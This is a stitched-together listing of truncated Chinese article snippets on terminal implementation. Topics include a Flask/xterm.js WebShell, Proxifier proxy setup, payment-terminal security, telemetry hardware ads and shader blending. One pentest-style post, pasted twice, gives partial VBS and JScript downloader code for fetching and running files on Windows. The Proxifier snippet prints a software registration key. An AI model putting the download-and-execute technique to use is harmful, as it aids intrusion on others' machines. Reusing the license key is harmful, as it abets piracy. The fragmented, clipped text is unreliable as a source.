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Flask 运用Xterm实现交互终端

Xterm提供了一个图形界面终端,使用户能够在图形桌面环境中运行命令行程序。而xterm.js是一个用于在浏览器中实现终端仿真的JavaScript库。...WebSockets和其他集成: 可以与WebSockets等通信协议集成,以便在浏览器中实现实时的终端交互。...xterm.js通常被用于Web应用程序中,尤其是在需要提供命令行界面的场景下,如在线终端、远程服务器管理等。这使得开发者能够在浏览器中实现类似于本地终端的交互体验,而无需使用本地终端模拟器。...AJAX 实现Web交互 AJAX(Asynchronous JavaScript and XML)是一种用于在Web应用程序中实现异步数据交换的技术。...render_template("index.html") if __name__ == '__main__': app.run() 运行后可输出一个交互式WebShell环境,如下图所示; WebSocket 实现终端

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macOS+Proxifier实现终端的外网访问

macOS+Proxifier实现终端的外网访问 作者:matrix 被围观: 18,895 次 发布时间:2019-03-22 分类:零零星星 | 5 条评论 » 这是一个创建于 1258...有时候使用终端clone操作或者其他install访问外网的时候会造成超级延迟,以至于无法使用,网络需要符合国情,毕竟有个大号防火墙。使用Proxifier可以间接实现全局的外网访问。...用户名称随意:Anything 注册码:P427L-9Y552-5433E-8DSR3-58Z68 设置本地代理端口和地址 添加本地代理Proxies 添加Rules规则 我这里只是需要给终端...shell设置外网访问所以添加一个shell程序就好了 程序添加完成之后,下方的Action选择刚刚添加的Proxies,点击ok 之后控制台界面就能看到程序访问外网的情况 终端测试: $...all_proxy' 应用 $ source ~/.bash_profile 之后命令行中使用proxy和unproxy来手动开启和关闭代理 参考: https://www.v2ex.com/t/269997 终端使用

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支付平台架构:终端安全技术实现

对于从事支付行业的第三方支付机构来说,终端数据的安全防护无疑是支付业务发展的重要保证之一,是安全防护长城的第一关。支付系统一般会采用安全加密、访问授权、传输安全等方法来保障终端数据的安全。...------ 本文选自《支付平台架构:业务、规划、设计与实现》一书,将详细介绍支付平台终端安全的技术实现。...▼ 扫码获取本书详情 ▼ ---- 终端安全技术实现 首先讲解在本地加密存储的方法,加密方法有两种:对称加解密和非对称加解密。...这里的终端安全示例代码以Android操作系统为例,并且使用Java实现安全加密、访问授权和传输安全。...书单丨把握Java技术发展的新趋势! 声纹技术:让智能语音助手真正“认得”自己 超详细丨完整的推荐系统架构设计 ---- ▼点击阅读原文,了解本书详情!

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无线数据采集遥测终端实现水库在线监测

无线数据采集遥测终端水库在线监测 3月24日,国务院办公厅印发《关于切实加强水库除险加固和运行管护工作的通知》(国办发〔2021〕8号),水库安全监测话题得到相关部门的关注。...无线数据采集遥测终端实现水库在线监测 水库监测点利用无线数据采集遥测终端TY910连接雨量计、水位计、流量计、渗压计、摄像头等现场监测设备,通过RS485/RS232/网口等进行数据采集,并通过5G/4G.../3G/2G无线网络对接云平台主动上报,管理平台支持pc端、移动端数据实时在线监测、设备工况远程监控、异常警报告知,同时数据采集遥测终端接收上位机命令对现场开关阀门等进行控制,以实现整个水库的自动化、智能化远程监测监控...图片5.png 无线数据采集遥测终端TY910下水库监测功能 1、通信方式多样,支持WAN/LAN、ADSL、GPRS、 4G、WIFI(可选)、GPS(可选)。...2、无线数据采集遥测终端下水库监测更全面,无线数据采集遥测终端TY910接口丰富,设备传感器等接入不受限,支持RS232接口、RS485接口、I2C接口、TTL电平串口、开关量、 模拟量、继电器输出、电源输出

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如何借助测控终端实现设备远程运维?

图片漫途MTB46-4-2A测控终端是集数据智能采集、协议转换、4G无线通信、数据处理转发、本地存储等功能于一体的高性能测控装置,可以直接接入各种传感器。...MTB46-4-2A 测控终端运用先进的工业物联网和大数据技术对老旧设备数据进行采集、分析,将数据实时传输到云平台进行存储、处理,实现对老旧设备实时远程监控。实现老旧设备上云,加速工厂智慧化转型。...数据采集漫途测控终端通过接入老旧设备,实现控制和监控,实时采集设备数据,同时保证数据安全性。...图片漫途MTB46-4-2A测控终端有效地实现老旧设备数字化改造和数据采集,从而提高设备的数据采集效率和管理效率,帮助企业更好地实现工业自动化,坚定不移地跨出智慧工厂的第一步。...漫途MTB46-4-2A测控终端为生产制造业、智慧城市、气象环保、农业水利等行业提供设备物联、设备数据分析、设备运维等服务。

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Win下终端实现文件上传和下载执行

作者写的第一行代码就是采用VBS写的; downloader使用msxml2.xmlhttp和adodb.stream对象统统联合 #按顺序依次执行后会生成download.vbs,然后执行download.vbs即可实现下载...} } 注:csc.exe的绝对路径要根据系统的.net版本来确定 (6) JScript 描述:相比于JSRat中用的Scripting.FileSystemObject换用ADODB.Stream实现起来更加简单高效...以下代码依次保存为js文件,直接执行即可实现下载文件 var Object = WScript.CreateObject("MSXML2.XMLHTTP"); Object.open("GET","...3_1-binary.zip C:\test\update\wget.zip 运行后会下载wget的压缩包wget.zip 注:Windows系统默认不包含解压缩zip文件的命令,但是可以通过vbs来实现解压缩...zip文件 vbs实现解压缩,以下代码保存为.vbs文件: UnZip "C:\test\update\wget.zip","C:\test\update\wget\" Sub UnZip(ByVal

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Win下终端实现文件上传和下载执行

作者写的第一行代码就是采用VBS写的; downloader使用msxml2.xmlhttp和adodb.stream对象统统联合 #按顺序依次执行后会生成download.vbs,然后执行download.vbs即可实现下载...} } 注:csc.exe的绝对路径要根据系统的.net版本来确定 (6) JScript 描述:相比于JSRat中用的Scripting.FileSystemObject换用ADODB.Stream实现起来更加简单高效...以下代码依次保存为js文件,直接执行即可实现下载文件 var Object = WScript.CreateObject("MSXML2.XMLHTTP"); Object.open("GET","...3_1-binary.zip C:\test\update\wget.zip 运行后会下载wget的压缩包wget.zip 注:Windows系统默认不包含解压缩zip文件的命令,但是可以通过vbs来实现解压缩...zip文件 vbs实现解压缩,以下代码保存为.vbs文件: UnZip "C:\test\update\wget.zip","C:\test\update\wget\" Sub UnZip(ByVal

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遥测终端RTU_遥测采集终端_水利遥测终端

计讯物联遥测终端RTU遵循水利行业规约标准,广泛应用于智慧水利、水利、水资源监测管理场景,遥测采集终端RTU对接管理平台及省市级管理中心平台,实现液位、压力、流量、雨水情、水质等数据采集、存储...遥测终端RTU应用.png 低功耗遥测终端RTU-TY501 TY501,小体积低功耗遥测终端,2 个 RS232 接口(1 路做 debug 口)、1 个 RS485 接口(可扩展成 2 路),...图片6.png 水利遥测终端-TY511   支持国家《水文监测数据通信规约》(ASCII和HEX全项)、《水资源监测数据传输规约》和其他省市特殊规约、SL180-2015水文自动测报系统设备遥测终端机...图片7.png 网关型遥测终端RTU-TY910   支持WAN/LAN、ADSL、GPRS、 4G、WIFI(可选)、GPS(可选),有线宽带和无线网络可互为备份;支持高级路由器功能,支持常用VPN

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终端图像处理系列 - 图像混合模式的Shader实现

其它的混合模式可以类似实现。...看完了效果,那么,怎么在GPUImage里实现呢?这里就要实现自定义的FragmentShader了。 ? 这里的返回值是T和S的α值,后续会有一个跟底图的α融合过程。...该融合过程可以放在shader中实现,也可以让OpenGL自动实现。 让OpenGL自动实现的方法如下: 1) 在render之前,设置: ?...这两句的含义是:让OpenGL根据α值自动融合结果;融合公式是: T=S*α+(1-α)*D 2) glDrawArray 3) glDisable(GL_BLEND); 这样设置好之后,就可以实现原地多次增加贴图了...(绘制在同一个frameBuffer上,不用两个frameBuffer来回倒腾),相当方便~ 在shader里面手动实现的方法如下: ?

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